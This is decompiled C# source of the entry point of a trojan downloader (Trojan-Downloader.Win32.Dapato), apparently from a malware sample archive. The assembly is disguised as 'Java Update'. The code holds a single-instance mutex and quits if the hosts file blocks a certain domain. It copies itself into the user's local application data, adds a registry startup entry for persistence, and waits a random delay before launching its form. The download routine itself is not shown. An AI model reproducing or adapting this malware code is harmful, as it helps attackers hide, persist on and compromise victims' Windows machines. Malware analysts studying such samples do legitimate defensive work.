MalwareSourceCode/MSIL/Trojan-Downloader/Win32/D/Trojan-Downloader.Win32.Dapato.lnz-b8c384980c9f22185c34463ff696eecea0ea8f5afe9bfe8909d6e74753ffabcd/browser_bastan/Program.cs

// Decompiled with JetBrains decompiler
// Type: browser_bastan.Program
// Assembly: Java Update, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 9303C6B7-A9B1-42D1-950C-FCE2C64C3FE0
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.Win32.Dapato.lnz-b8c384980c9f22185c34463ff696eecea0ea8f5afe9bfe8909d6e74753ffabcd.exe

using SmartAssembly.MemoryManagement;
using System;
using System.IO;
using System.Threading;
using System.Windows.Forms;

namespace browser_bastan
{
  internal static class Program
  {
    public static Mutex AppMutex = new Mutex(true, "{8F6F0AC4-B9A1-45fd-A8CF-72F04X6FDKCK}");

    [STAThread]
    private static void Main()
    {
      MemoryManager.AttachApp();
      if (Program.AppMutex.WaitOne(TimeSpan.Zero, true))
      {
        Program.CheckHostsFile();
        string path = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\" + Araclar.DstName;
        Araclar.DstCheck();
        Araclar.Startup(Araclar.Regkeyname, path);
        Thread.Sleep(new Random().Next(5000, 60000));
        Application.EnableVisualStyles();
        Application.SetCompatibleTextRenderingDefault(false);
        Application.Run((Form) new Form1());
        Program.AppMutex.ReleaseMutex();
      }
      else
        Environment.Exit(1);
    }

    public static void CheckHostsFile()
    {
      if (!File.ReadAllText(Environment.GetEnvironmentVariable("windir") + "\\system32\\drivers\\etc\\hosts").Contains("nurullahuzmez.com"))
        return;
      Environment.Exit(1);
    }
  }
}